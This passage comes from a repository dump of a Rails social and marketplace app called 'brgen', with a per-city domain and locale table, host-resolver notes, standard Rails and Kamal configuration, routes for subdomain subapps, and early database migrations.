| `nb` | `NOK` | `markedsplass` |\n| `reykjavk.is` | Reykjavik | Iceland | `is` | `ISK` | `markadur` |\n| `kbenhvn.dk` | K\u00f8benhavn | Denmark | `da` | `DKK` | `markedsplads` |\n| `gtebrg.se` | G\u00f6teborg | Sweden | `sv` | `SEK` | `marknadsplats` |\n| `mlmoe.se` | Malm\u00f6 | Sweden | `sv` | `SEK` | `marknadsplats` |\n| `stholm.se` | Stockholm | Sweden | `sv` | `SEK` | `marknadsplats` |\n| `hlsinki.fi` | Helsinki | Finland | `fi` | `EUR` | `markkinapaikka` |\n| `brmingham.uk` | Birmingham | United Kingdom | `en-GB` | `GBP` | `marketplace` |\n| `cardff.uk` | Cardiff | United Kingdom | `en-GB` | `GBP` | `marketplace` |\n| `edinbrgh.uk` | Edinburgh | United Kingdom | `en-GB` | `GBP` | `marketplace` |\n| `glasgw.uk` | Glasgow | United Kingdom | `en-GB` | `GBP` | `marketplace` |\n| `lndon.uk` | London | United Kingdom | `en-GB` | `GBP` | `marketplace` |\n| `lverpool.uk` | Liverpool | United Kingdom | `en-GB` | `GBP` | `marketplace` |\n| `mnchester.uk` | Manchester | United Kingdom | `en-GB` | `GBP` | `marketplace` |\n| `amstrdam.nl` | Amsterdam | Netherlands | `nl` | `EUR` | `marktplaats` |\n| `rottrdam.nl` | Rotterdam | Netherlands | `nl` | `EUR` | `marktplaats` |\n| `utrcht.nl` | Utrecht | Netherlands | `nl` | `EUR` | `marktplaats` |\n| `brssels.be` | Brussels | Belgium | `fr-BE` | `EUR` | `marche` |\n| `zrich.ch` | Z\u00fcrich | Switzerland | `de-CH` | `CHF` | `marktplatz` |\n| `lchtenstein.li` | Liechtenstein | Liechtenstein | `de-LI` | `CHF` | `marktplatz` |\n| `frankfrt.de` | Frankfurt | Germany | `de` | `EUR` | `marktplatz` |\n| `brdeaux.fr` | Bordeaux | France | `fr` | `EUR` | `marche` |\n| `mrseille.fr` | Marseille | France | `fr` | `EUR` | `marche` |\n| `mlan.it` | Milan | Italy | `it` | `EUR` | `mercato` |\n| `lisbon.pt` | Lisbon | Portugal | `pt` | `EUR` | `mercado` |\n| `wrsawa.pl` | Warszawa | Poland | `pl` | `PLN` | `marktplatz` |\n| `gdnsk.pl` | Gda\u0144sk | Poland | `pl` | `PLN` | `marktplatz` |\n| `austn.us` | Austin | United States | `en-US` | `USD` | `marketplace` |\n| `chcago.us` | Chicago | United States | `en-US` | `USD` | `marketplace` |\n| `denvr.us` | Denver | United States | `en-US` | `USD` | `marketplace` |\n| `dllas.us` | Dallas | United States | `en-US` | `USD` | `marketplace` |\n| `dnver.us` | Denver | United States | `en-US` | `USD` | `marketplace` |\n| `dtroit.us` | Detroit | United States | `en-US` | `USD` | `marketplace` |\n| `houstn.us` | Houston | United States | `en-US` | `USD` | `marketplace` |\n| `lsangeles.com` | Los Angeles | United States | `en-US` | `USD` | `marketplace` |\n| `mnnesota.com` | Minneapolis / Minnesota | United States | `en-US` | `USD` | `marketplace` |\n| `newyrk.us` | New York | United States | `en-US` | `USD` | `marketplace` |\n| `prtland.com` | Portland | United States | `en-US` | `USD` | `marketplace` |\n| `wshingtondc.com` | Washington DC | United States | `en-US` | `USD` | `marketplace` |\n\n## Known naming issues\n\nThese are intentional domain spellings in DNS, but Rails must map them to readable city names:\n\n- `oshlo.no` -&gt; Oslo\n- `trmso.no` -&gt; Troms\u00f8\n- `trndheim.no` -&gt; Trondheim\n- `reykjavk.is` -&gt; Reykjavik\n- `kbenhvn.dk` -&gt; K\u00f8benhavn\n- `gtebrg.se` -&gt; G\u00f6teborg\n- `mlmoe.se` -&gt; Malm\u00f6\n- `stholm.se` -&gt; Stockholm\n- `hlsinki.fi` -&gt; Helsinki\n- `lndon.uk` -&gt; London\n- `lsangeles.com` -&gt; Los Angeles\n\n`denvr.us` and `dnver.us` both point to Denver. That duplication should be resolved before launch unless it is deliberate.\n\n## Rails implementation target\n\nAdd a host resolver before controller actions:\n\n- `Brgen::DomainRegistry.resolve(request.host)`\n- set `Current.city`\n- set `Current.country`\n- set `Current.currency`\n- set `I18n.locale`\n- set `Current.subapp`\n\nSubdomain detection should happen after base-domain resolution.\n\nExamples:\n\n- `lsangeles.com` sets `I18n.locale = :\"en-US\"`\n- `marketplace.lsangeles.com` sets `Current.subapp = :marketplace`\n- `amstrdam.nl` sets `I18n.locale = :nl`\n- `marktplaats.amstrdam.nl` sets `Current.subapp = :marketplace`\n- `brgen.no` sets `I18n.locale = :nb`\n- `markedsplass.brgen.no` sets `Current.subapp = :marketplace`\n\n## Test requirements\n\nAdd request tests for every domain in this file.\n\nEach test must assert:\n\n- host resolves\n- locale is correct\n- city is correct\n- currency is correct\n- marketplace alias routes to marketplace\n- unknown subdomain returns a safe 404 or redirect\n\n## Deployment requirement\n\nAny change to `ALL_DOMAINS` in `DEPLOY/openbsd/openbsd.sh` must update this file and the Rails domain registry in the same commit.\n```\n\n## `rails/brgen/config/application.rb`\n```ruby\n# frozen_string_literal: true\n\nrequire_relative \"boot\"\n\nrequire \"rails\"\n# Pick the frameworks you want:\nrequire \"active_model/railtie\"\nrequire \"active_job/railtie\"\nrequire \"active_record/railtie\"\nrequire \"active_storage/engine\"\nrequire \"action_controller/railtie\"\nrequire \"action_mailer/railtie\"\nrequire \"action_view/railtie\"\nrequire \"action_cable/engine\"\n\n# Require the gems listed in Gemfile, including any gems\n# you've limited to :test, :development, or :production.\nBundler.require(*Rails.groups)\n\nmodule App\n  class Application &lt; Rails::Application\n    # Initialize configuration defaults for originally generated Rails version.\n    config.load_defaults 8.0\n\n    # Please, add to the `ignore` list any other `lib` subdirectories that do\n    # not contain `.rb` files, or that should not be reloaded or eager loaded.\n    # Common ones are `templates`, `generators`, or `middleware`, for example.\n    config.autoload_lib(ignore: %w[assets tasks])\n\n    # Configuration for the application, engines, and railties goes here.\n    #\n    # These settings can be overridden in specific environments using the files\n    # in config/environments, which are processed later.\n    #\n    # config.time_zone = \"Central Time (US &amp; Canada)\"\n    # config.eager_load_paths &lt;&lt; Rails.root.join(\"extras\")\n\n    # Don't generate system test files.\n    config.generators.system_tests = nil\n  end\nend\n```\n\n## `rails/brgen/config/cable.yml`\n```yaml\n# Async adapter only works within the same process, so for manually triggering cable updates from a console,\n# and seeing results in the browser, you must do so from the web console (running inside the dev process),\n# not a terminal started via bin/rails console! Add \"console\" to any action or any ERB template view\n# to make the web console appear.\ndevelopment:\n  adapter: async\n\ntest:\n  adapter: test\n\nproduction:\n  adapter: solid_cable\n  connects_to:\n    database:\n      writing: cable\n  polling_interval: 0.1.seconds\n  message_retention: 1.day\n```\n\n## `rails/brgen/config/cache.yml`\n```yaml\ndefault: &amp;default\n  store_options:\n    # Cap age of oldest cache entry to fulfill retention policies\n    # max_age: &lt;%= 60.days.to_i %&gt;\n    max_size: &lt;%= 256.megabytes %&gt;\n    namespace: &lt;%= Rails.env %&gt;\n\ndevelopment:\n  &lt;&lt;: *default\n\ntest:\n  &lt;&lt;: *default\n\nproduction:\n  database: cache\n  &lt;&lt;: *default\n```\n\n## `rails/brgen/config/database.yml`\n```yaml\ndefault: &amp;default\n  adapter: sqlite3\n  pool: &lt;%= ENV.fetch(\"RAILS_MAX_THREADS\") { 5 } %&gt;\n  timeout: 5000\n\ndevelopment:\n  primary:\n    &lt;&lt;: *default\n    database: db/development.sqlite3\n  cache:\n    &lt;&lt;: *default\n    database: db/development_cache.sqlite3\n    migrations_paths: db/cache_schema_migrations\n  queue:\n    &lt;&lt;: *default\n    database: db/development_queue.sqlite3\n    migrations_paths: db/queue_schema_migrations\n  cable:\n    &lt;&lt;: *default\n    database: db/development_cable.sqlite3\n    migrations_paths: db/cable_schema_migrations\n\ntest:\n  primary:\n    &lt;&lt;: *default\n    database: db/test.sqlite3\n  cache:\n    &lt;&lt;: *default\n    database: db/test_cache.sqlite3\n    migrations_paths: db/cache_schema_migrations\n  queue:\n    &lt;&lt;: *default\n    database: db/test_queue.sqlite3\n    migrations_paths: db/queue_schema_migrations\n  cable:\n    &lt;&lt;: *default\n    database: db/test_cable.sqlite3\n    migrations_paths: db/cable_schema_migrations\n\nproduction:\n  primary:\n    &lt;&lt;: *default\n    database: db/production.sqlite3\n  cache:\n    &lt;&lt;: *default\n    database: db/production_cache.sqlite3\n    migrations_paths: db/cache_schema_migrations\n  queue:\n    &lt;&lt;: *default\n    database: db/production_queue.sqlite3\n    migrations_paths: db/queue_schema_migrations\n  cable:\n    &lt;&lt;: *default\n    database: db/production_cable.sqlite3\n    migrations_paths: db/cable_schema_migrations\n```\n\n## `rails/brgen/config/deploy.yml`\n```yaml\n# Name of your application. Used to uniquely configure containers.\nservice: app\n\n# Name of the container image (use your-user/app-name on external registries).\nimage: app\n\n# Deploy to these servers.\nservers:\n  web:\n    - 192.168.0.1\n  # job:\n  #   hosts:\n  #     - 192.168.0.1\n  #   cmd: bin/jobs\n\n# Enable SSL auto certification via Let's Encrypt and allow for multiple apps on a single web server.\n# Remove this section when using multiple web servers and ensure you terminate SSL at your load balancer.\n#\n# Note: If using Cloudflare, set encryption mode in SSL/TLS setting to \"Full\" to enable CF-to-app encryption.\n# proxy:\n#   ssl: true\n#   host: brgen.no\n\n# Where you keep your container images.\nregistry:\n  # Alternatives: hub.docker.com / registry.digitalocean.com / ghcr.io / ...\n  server: localhost:5555\n\n  # Needed for authenticated registries.\n  # username: your-user\n\n  # Always use an access token rather than real password when possible.\n  # password:\n  #   - KAMAL_REGISTRY_PASSWORD\n\n# Inject ENV variables into containers (secrets come from .kamal/secrets).\nenv:\n  secret:\n    - RAILS_MASTER_KEY\n  clear:\n    # Run the Solid Queue Supervisor inside the web server's Puma process to do jobs.\n    # When you start using multiple servers, you should split out job processing to a dedicated machine.\n    SOLID_QUEUE_IN_PUMA: true\n\n    # Set number of processes dedicated to Solid Queue (default: 1)\n    # JOB_CONCURRENCY: 3\n\n    # Set number of cores available to the application on each server (default: 1).\n    # WEB_CONCURRENCY: 2\n\n    # Match this to any external database server to configure Active Record correctly\n    # Use app-db for a db accessory server on same machine via local kamal docker network.\n    # DB_HOST: 192.168.0.2\n\n    # Log everything from Rails\n    # RAILS_LOG_LEVEL: debug\n\n# Aliases are triggered with \"bin/kamal \". You can overwrite arguments on invocation:\n# \"bin/kamal logs -r job\" will tail logs from the first server in the job section.\naliases:\n  console: app exec --interactive --reuse \"bin/rails console\"\n  shell: app exec --interactive --reuse \"bash\"\n  logs: app logs -f\n  dbc: app exec --interactive --reuse \"bin/rails dbconsole --include-password\"\n\n# Use a persistent storage volume for sqlite database files and local Active Storage files.\n# Recommended to change this to a mounted volume path that is backed up off server.\nvolumes:\n  - \"app_storage:/rails/storage\"\n\n# Bridge fingerprinted assets, like JS and CSS, between versions to avoid\n# hitting 404 on in-flight requests. Combines all files from new and old\n# version inside the asset_path.\nasset_path: /rails/public/assets\n\n# Configure the image builder.\nbuilder:\n  arch: amd64\n\n  # # Build image via remote server (useful for faster amd64 builds on arm64 computers)\n  # remote: ssh://docker@docker-builder-server\n  #\n  # # Pass arguments and secrets to the Docker build process\n  # args:\n  #   RUBY_VERSION: ruby-3.3.7\n  # secrets:\n  #   - GITHUB_TOKEN\n  #   - RAILS_MASTER_KEY\n\n# Use a different ssh user than root\n# ssh:\n#   user: app\n\n# Use accessory services (secrets come from .kamal/secrets).\n# accessories:\n#   db:\n#     image: mysql:8.0\n#     host: 192.168.0.2\n#     # Change to 3306 to expose port to the world instead of just local network.\n#     port: \"127.0.0.1:3306:3306\"\n#     env:\n#       clear:\n#         MYSQL_ROOT_HOST: '%'\n#       secret:\n#         - MYSQL_ROOT_PASSWORD\n#     files:\n#       - config/mysql/production.cnf:/etc/mysql/my.cnf\n#       - db/production.sql:/docker-entrypoint-initdb.d/setup.sql\n#     directories:\n#       - data:/var/lib/mysql\n#   redis:\n#     image: valkey/valkey:8\n#     host: 192.168.0.2\n#     port: 6379\n#     directories:\n#       - data:/data\n```\n\n## `rails/brgen/config/environments/production.rb`\n```ruby\n# frozen_string_literal: true\n\nrequire \"active_support/core_ext/integer/time\"\n\nRails.application.configure do\n  # Settings specified here will take precedence over those in config/application.rb.\n\n  # Code is not reloaded between requests.\n  config.enable_reloading = false\n\n  # Eager load code on boot for better performance and memory savings (ignored by Rake tasks).\n  config.eager_load = true\n\n  # Full error reports are disabled.\n  config.consider_all_requests_local = false\n\n  # Turn on fragment caching in view templates.\n  config.action_controller.perform_caching = true\n\n  # Cache assets for far-future expiry since they are all digest stamped.\n  config.public_file_server.headers = { \"cache-control\" =&gt; \"public, max-age=#{1.year.to_i}\" }\n\n  # Enable serving of images, stylesheets, and JavaScripts from an asset server.\n  # config.asset_host = \"http://assets.example.com\"\n\n  # Store uploaded files on the local file system (see config/storage.yml for options).\n  config.active_storage.service = :local\n\n  # Assume all access to the app is happening through a SSL-terminating reverse proxy.\n  config.assume_ssl = true\n\n  # TLS terminates at OpenBSD relayd; Rails must not own HTTPS redirects.\n  # config.force_ssl = true\n\n  # Skip http-to-https redirect for the default health check endpoint.\n  # config.ssl_options = { redirect: { exclude: -&gt;(request) { request.path == \"/up\" } } }\n\n  # Log to STDOUT with the current request id as a default log tag.\n  config.log_tags = [ :request_id ]\n  config.logger   = Logger.new(STDOUT)\n\n  # Change to \"debug\" to log everything (including potentially personally-identifiable information!).\n  config.log_level = ENV.fetch(\"RAILS_LOG_LEVEL\", \"info\")\n\n  # Prevent health checks from clogging up the logs.\n  config.silence_healthcheck_path = \"/up\"\n\n  # Don't log any deprecations.\n  config.active_support.report_deprecations = false\n\n  # Replace the default in-process memory cache store with a durable alternative.\n  config.cache_store = :solid_cache_store\n\n  # Replace the default in-process and non-durable queuing backend for Active Job.\n  config.active_job.queue_adapter = :solid_queue\n  config.solid_queue.connects_to = { database: { writing: :queue } }\n\n  # Ignore bad email addresses and do not raise email delivery errors.\n  # Set this to true and configure the email server for immediate delivery to raise delivery errors.\n  # config.action_mailer.raise_delivery_errors = false\n\n  # Set host to be used by links generated in mailer templates.\n  config.action_mailer.default_url_options = { host: \"brgen.no\", protocol: \"https\" }\n\n  # Specify outgoing SMTP server. Remember to add smtp/* credentials via bin/rails credentials:edit.\n  # config.action_mailer.smtp_settings = {\n  #   user_name: Rails.application.credentials.dig(:smtp, :user_name),\n  #   password: Rails.application.credentials.dig(:smtp, :password),\n  #   address: \"smtp.example.com\",\n  #   port: 587,\n  #   authentication: :plain\n  # }\n\n  # Enable locale fallbacks for I18n (makes lookups for any locale fall back to\n  # the I18n.default_locale when a translation cannot be found).\n  config.i18n.fallbacks = true\n\n  # Do not dump schema after migrations.\n  config.active_record.dump_schema_after_migration = false\n\n  # Only use :id for inspections in production.\n  config.active_record.attributes_for_inspect = [ :id ]\n\n  config.hosts = [\"brgen.no\", /.*\\.brgen\\.no\\z/]\n  config.host_authorization = { exclude: -&gt;(request) { request.path == \"/up\" } }\nend\n```\n\n## `rails/brgen/config/falcon.rb`\n```ruby\n# frozen_string_literal: true\n\nload :rack, :supervisor\n\nhostname = File.basename(__dir__)\nport = ENV.fetch(\"PORT\", 11006).to_i\n\nrack hostname do\n  endpoint Async::HTTP::Endpoint.parse(\"http://0.0.0.0:#{port}\").with(protocol: Async::HTTP::Protocol::HTTP2)\nend\n```\n\n## `rails/brgen/config/importmap.rb`\n```ruby\n# frozen_string_literal: true\n\n# Pin npm packages by running ./bin/importmap\n\npin \"application\"\npin \"@hotwired/turbo-rails\", to: \"turbo.min.js\"\npin \"@hotwired/stimulus\", to: \"@hotwired--stimulus.js\" # @3.2.2\npin \"@hotwired/stimulus-loading\", to: \"stimulus-loading.js\"\npin_all_from \"app/javascript/controllers\", under: \"controllers\"\npin \"@stimulus-components/dialog\", to: \"@stimulus-components--dialog.js\" # @1.0.1\npin \"@stimulus-components/auto-submit\", to: \"@stimulus-components--auto-submit.js\" # @6.0.0\npin \"@stimulus-components/character-counter\", to: \"@stimulus-components--character-counter.js\" # @5.1.0\npin \"@stimulus-components/dropdown\", to: \"@stimulus-components--dropdown.js\" # @3.0.0\npin \"stimulus-use\" # @0.52.3\npin \"@stimulus-components/clipboard\", to: \"@stimulus-components--clipboard.js\" # @5.0.0\npin \"@stimulus-components/notification\", to: \"@stimulus-components--notification.js\" # @3.0.0\npin \"@stimulus-components/timeago\", to: \"@stimulus-components--timeago.js\" # @5.0.2\npin \"date-fns\" # @4.1.0\npin \"@stimulus-components/animated-number\", to: \"@stimulus-components--animated-number.js\" # @5.0.0\npin \"@stimulus-components/sortable\", to: \"@stimulus-components--sortable.js\" # @5.0.3\npin \"https://cdn.jsdelivr.net/npm/@rails/request.js@0.0.13/src/fetch_request\", to: \"https:----cdn.jsdelivr.net--npm--@rails--request.js@0.0.13--src--fetch_request.js\" # @0.0.13\npin \"https://cdn.jsdelivr.net/npm/@rails/request.js@0.0.13/src/fetch_response\", to: \"https:----cdn.jsdelivr.net--npm--@rails--request.js@0.0.13--src--fetch_response.js\" # @0.0.13\npin \"https://cdn.jsdelivr.net/npm/@rails/request.js@0.0.13/src/lib/utils\", to: \"https:----cdn.jsdelivr.net--npm--@rails--request.js@0.0.13--src--lib--utils.js\" # @0.0.13\npin \"https://cdn.jsdelivr.net/npm/@rails/request.js@0.0.13/src/request_interceptor\", to: \"https:----cdn.jsdelivr.net--npm--@rails--request.js@0.0.13--src--request_interceptor.js\" # @0.0.13\npin \"https://cdn.jsdelivr.net/npm/@rails/request.js@0.0.13/src/verbs\", to: \"https:----cdn.jsdelivr.net--npm--@rails--request.js@0.0.13--src--verbs.js\" # @0.0.13\npin \"@rails/request.js\", to: \"@rails--request.js.js\" # @0.0.13\npin \"sortablejs\" # @1.15.7\npin \"lightgallery\", to: \"lightgallery.js\" # @2.9.0\npin \"@stimulus-components/lightbox\", to: \"@stimulus-components--lightbox.js\"\npin \"@stimulus-components/password-visibility\" # @1.1.2\npin \"@stimulus-components/rails-nested-form\" # @3.0.0\npin \"@stimulus-components/carousel\" # @2.1.0\npin \"stimulus_reflex\" # @3.5\npin \"cable_ready\" # @5.0\npin \"@stimulus_reflex/futurism\" # Futurism for Pagy infinite scroll (ruby_style.yml)\n```\n\n## `rails/brgen/config/puma.rb`\n```ruby\n# frozen_string_literal: true\n\n# This configuration file will be evaluated by Puma. The top-level methods that\n# are invoked here are part of Puma's configuration DSL. For more information\n# about methods provided by the DSL, see https://puma.io/puma/Puma/DSL.html.\n#\n# Puma starts a configurable number of processes (workers) and each process\n# serves each request in a thread from an internal thread pool.\n#\n# You can control the number of workers using ENV[\"WEB_CONCURRENCY\"]. You\n# should only set this value when you want to run 2 or more workers. The\n# default is already 1. You can set it to `auto` to automatically start a worker\n# for each available processor.\n#\n# The ideal number of threads per worker depends both on how much time the\n# application spends waiting for IO operations and on how much you wish to\n# prioritize throughput over latency.\n#\n# As a rule of thumb, increasing the number of threads will increase how much\n# traffic a given process can handle (throughput), but due to CRuby's\n# Global VM Lock (GVL) it has diminishing returns and will degrade the\n# response time (latency) of the application.\n#\n# The default is set to 3 threads as it's deemed a decent compromise between\n# throughput and latency for the average Rails application.\n#\n# Any libraries that use a connection pool or another resource pool should\n# be configured to provide at least as many connections as the number of\n# threads. This includes Active Record's `pool` parameter in `database.yml`.\nthreads_count = ENV.fetch(\"RAILS_MAX_THREADS\", 3)\nthreads threads_count, threads_count\n\n# Specifies the `port` that Puma will listen on to receive requests; default is 3000.\nport ENV.fetch(\"PORT\", 3000)\n\n# Allow puma to be restarted by `bin/rails restart` command.\nplugin :tmp_restart\n\n# Run the Solid Queue supervisor inside of Puma for single-server deployments.\nplugin :solid_queue if ENV[\"SOLID_QUEUE_IN_PUMA\"]\n\n# Specify the PID file. Defaults to tmp/pids/server.pid in development.\n# In other environments, only set the PID file if requested.\npidfile ENV[\"PIDFILE\"] if ENV[\"PIDFILE\"]\n```\n\n## `rails/brgen/config/queue.yml`\n```yaml\ndefault: &amp;default\n  dispatchers:\n    - polling_interval: 1\n      batch_size: 500\n  workers:\n    - queues: \"*\"\n      threads: 3\n      processes: &lt;%= ENV.fetch(\"JOB_CONCURRENCY\", 1) %&gt;\n      polling_interval: 0.1\n\ndevelopment:\n  &lt;&lt;: *default\n\ntest:\n  &lt;&lt;: *default\n\nproduction:\n  &lt;&lt;: *default\n```\n\n## `rails/brgen/config/recurring.yml`\n```yaml\n# examples:\n#   periodic_cleanup:\n#     class: CleanSoftDeletedRecordsJob\n#     queue: background\n#     args: [ 1000, { batch_size: 500 } ]\n#     schedule: every hour\n#   periodic_cleanup_with_command:\n#     command: \"SoftDeletedRecord.due.delete_all\"\n#     priority: 2\n#     schedule: at 5am every day\n\nproduction:\n  clear_solid_queue_finished_jobs:\n    command: \"SolidQueue::Job.clear_finished_in_batches(sleep_between_batches: 0.3)\"\n    schedule: every hour at minute 12\n```\n\n## `rails/brgen/config/routes.rb`\n```ruby\n# frozen_string_literal: true\n\nRails.application.routes.draw do\n  TV_SUBDOMAINS          = %w[tv].freeze\n  DATING_SUBDOMAINS      = %w[dating].freeze\n  PLAYLIST_SUBDOMAINS    = %w[playlist].freeze\n  TAKEAWAY_SUBDOMAINS    = %w[takeaway].freeze\n  MARKETPLACE_SUBDOMAINS = %w[markedsplass markadur marknadsplats marktplaats marktplatz marche mercato mercado markkinapaikka marketplace].freeze\n  MAPS_SUBDOMAINS        = %w[maps].freeze\n\n  resource  :session\n  resources :passwords, param: :token\n  resources :activity_events, only: :index\n  resources :notifications, only: %i[index update] do\n    collection { patch :read_all }\n  end\n  resources :reactions, only: :create\n  resources :reports, only: :create\n\n  resources :communities do\n    resources :posts, shallow: true do\n      resources :comments, shallow: true do\n        resources :comments, shallow: true, as: :replies\n      end\n      resource :vote, only: [:create], controller: \"votes\"\n    end\n  end\n\n  resources :posts do\n    resources :comments, shallow: true\n    resource :vote, only: [:create], controller: \"votes\"\n  end\n\n  resources :comments do\n    resource :vote, only: [:create], controller: \"votes\"\n    resources :comments, only: [:create], as: :replies\n    member do\n      post :generate_summary\n    end\n  end\n\n  resources :users, only: [:show] do\n    member do\n      post :follow, to: \"follows#create\"\n      delete :unfollow, to: \"follows#destroy\"\n    end\n    resources :conversations, only: [:create]\n  end\n\n  resources :conversations, only: [:index, :show] do\n    resources :messages, only: [:create]\n  end\n\n  constraints(subdomain: TV_SUBDOMAINS) do\n    scope module: \"tv\", as: \"tv\" do\n      root \"home#index\", as: :tv_root\n      resources :channels, param: :slug do\n        member { post :subscribe; delete :unsubscribe }\n        resources :videos, only: %i[new create]\n        resources :live_streams, only: %i[new create]\n      end\n      resources :videos, only: %i[show destroy] do\n        resources :video_notes, only: :create\n        resources :comments, only: :create\n      end\n      resources :live_streams, only: %i[index show update destroy] do\n        resources :stream_chats, only: :create\n        member do\n          patch :go_live\n          patch :end_live\n        end\n      end\n    end\n  end\n\n  constraints(subdomain: DATING_SUBDOMAINS) do\n    scope module: \"dating\", as: \"dating\" do\n      root \"home#index\", as: :dating_root\n      resource :profile, only: %i[new create edit update show]\n      resources :likes, only: :create\n      resources :dislikes, only: :create\n      resources :matches, only: :index\n    end\n  end\n\n  constraints(subdomain: PLAYLIST_SUBDOMAINS) do\n    scope module: \"playlist\", as: \"playlist\" do\n      root \"playlists#index\", as: :playlist_root\n      resources :playlists do\n        resources :tracks, only: %i[create destroy]\n        resources :collaborations, only: %i[create destroy]\n        resources :dilla_sketches, only: %i[create update destroy]\n      end\n      resources :sets do\n        resources :tracks, only: %i[create destroy]\n        resources :collaborations, only: %i[create destroy]\n        resources :dilla_sketches, only: %i[create update destroy]\n        resource :like, only: %i[create destroy]\n      end\n      resources :listens, only: :create\n    end\n  end\n\n  constraints(subdomain: TAKEAWAY_SUBDOMAINS) do\n    scope module: \"takeaway\", as: \"takeaway\" do\n      root \"restaurants#index\", as: :takeaway_root\n      resources :restaurants do\n        resource :favorite_restaurant, only: %i[create destroy]\n        resources :menu_items, only: %i[create destroy]\n        resources :orders, only: %i[new create]\n        resources :reviews, only: %i[create]\n      end\n      resources :delivery_drivers, only: %i[index show update]\n      resources :orders, only: %i[index show update]\n    end\n  end\n\n  constraints(subdomain: MARKETPLACE_SUBDOMAINS) do\n    scope module: \"marketplace\", as: \"marketplace\" do\n      root \"listings#index\", as: :marketplace_root\n      resources :shops, controller: \"stores\"\n      resources :deals, only: %i[index show]\n      resources :listings do\n        resource :favorite, only: %i[create destroy]\n        resources :orders, only: %i[create update]\n      end\n\n      # Amazon-like cart (pending orders act as cart items for the buyer)\n      resource :cart, only: :show, controller: \"carts\"\n      resources :categories, only: :show, param: :id\n      resources :saved_searches, only: %i[index create destroy]\n    end\n  end\n\n  constraints(subdomain: MAPS_SUBDOMAINS) do\n    scope module: \"maps\", as: \"maps\" do\n      root \"home#index\", as: :maps_root\n      resources :places, only: %i[index show]\n    end\n  end\n\n  resources :email_subscriptions, only: [:create, :destroy], param: :token\n  get \"confirm_email/:token\" =&gt; \"email_subscriptions#confirm\", as: :confirm_email_subscription\n\n  patch \"location\" =&gt; \"locations#update\", as: :location\n  resources :push_subscriptions, only: [:create, :destroy]\n  get \"nearby\" =&gt; \"nearby#index\", as: :nearby\n  post \"nearby\" =&gt; \"nearby#create\"\n\n  root \"home#index\"\n  get \"up\" =&gt; \"rails/health#show\", as: :rails_health_check\nend\n```\n\n## `rails/brgen/db/cable_schema.rb`\n```ruby\n# frozen_string_literal: true\n\n# This file is auto-generated from the current state of the database. Instead\n# of editing this file, please use the migrations feature of Active Record to\n# incrementally modify your database, and then regenerate this schema definition.\n#\n# This file is the source Rails uses to define your schema when running `bin/rails\n# db:schema:load`. When creating a new database, `bin/rails db:schema:load` tends to\n# be faster and is potentially less error prone than running all of your\n# migrations from scratch. Old migrations may fail to apply correctly if those\n# migrations use external dependencies or application code.\n#\n# It's strongly recommended that you check this file into your version control system.\n\nActiveRecord::Schema[8.1].define(version: 0) do\nend\n```\n\n## `rails/brgen/db/cache_schema.rb`\n```ruby\n# frozen_string_literal: true\n\n# This file is auto-generated from the current state of the database. Instead\n# of editing this file, please use the migrations feature of Active Record to\n# incrementally modify your database, and then regenerate this schema definition.\n#\n# This file is the source Rails uses to define your schema when running `bin/rails\n# db:schema:load`. When creating a new database, `bin/rails db:schema:load` tends to\n# be faster and is potentially less error prone than running all of your\n# migrations from scratch. Old migrations may fail to apply correctly if those\n# migrations use external dependencies or application code.\n#\n# It's strongly recommended that you check this file into your version control system.\n\nActiveRecord::Schema[8.1].define(version: 0) do\nend\n```\n\n## `rails/brgen/db/migrate/20260311162114_create_users.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateUsers &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :users do |t|\n      t.string :email_address, null: false\n      t.string :password_digest, null: false\n\n      t.timestamps\n    end\n    add_index :users, :email_address, unique: true\n  end\nend\n```\n\n## `rails/brgen/db/migrate/20260311162121_create_sessions.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateSessions &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :sessions do |t|\n      t.references :user, null: false, foreign_key: true\n      t.string :ip_address\n      t.string :user_agent\n\n      t.timestamps\n    end\n  end\nend\n```\n\n## `rails/brgen/db/migrate/20260311162206_create_communities.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateCommunities &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :communities do |t|\n      t.string :name\n      t.text :description\n      t.string :subdomain\n      t.string :slug\n\n      t.timestamps\n    end\n    add_index :communities, :subdomain, unique: true\n    add_index :communities, :slug, unique: true\n  end\nend\n```\n\n## `rails/brgen/db/migrate/20260311162227_create_reactions.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateReactions &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :reactions do |t|\n      t.string :kind\n      t.references :user, null: false, foreign_key: true\n      t.references :post, null: false, foreign_key: true\n\n      t.timestamps\n    end\n  end\nend\n```\n\n## `rails/brgen/db/migrate/20260311162235_create_streams.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateStreams &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :streams do |t|\n      t.string :content_type\n      t.string :url\n      t.references :user, null: false, foreign_key: true\n      t.references :post, null: false, foreign_key: true\n      t.integer :duration\n\n      t.timestamps\n    end\n  end\nend\n```\n\n## `rails/brgen/db/migrate/20260311162345_create_posts.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreatePosts &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :posts do |t|\n      t.string :title\n      t.text :content\n      t.references :user, null: false, foreign_key: true\n      t.references :community, null: false, foreign_key: true\n      t.integer :karma\n      t.boolean :anonymous\n\n      t.timestamps\n    end\n  end\nend\n```\n\n## `rails/brgen/db/migrate/20260311162350_create_comments.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateComments &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :comments do |t|\n      t.text :content\n      t.references :user, null: false, foreign_key: true\n      t.references :commentable, polymorphic: true, null: false\n      t.integer :parent_id\n\n      t.timestamps\n    end\n  end\nend\n```\n\n## `rails/brgen/db/migrate/20260311162355_add_fields_to_users.rb`\n```ruby\n# frozen_string_literal: true\n\nclass AddFieldsToUsers &lt; ActiveRecord::Migration[8.1]\n  def change\n    add_column :users, :username, :string\n    add_column :users, :karma, :integer\n  end\nend\n```\n\n## `rails/brgen/db/migrate/20260311163039_create_votes.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateVotes &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :votes do |t|\n      t.integer :value\n      t.references :user, null: false, foreign_key: true\n      t.references :votable, polymorphic: true, null: false\n\n      t.timestamps\n    end\n  end\nend\n```\n\n## `rails/brgen/db/migrate/20260311163634_create_follows.rb`\n```ruby\n# 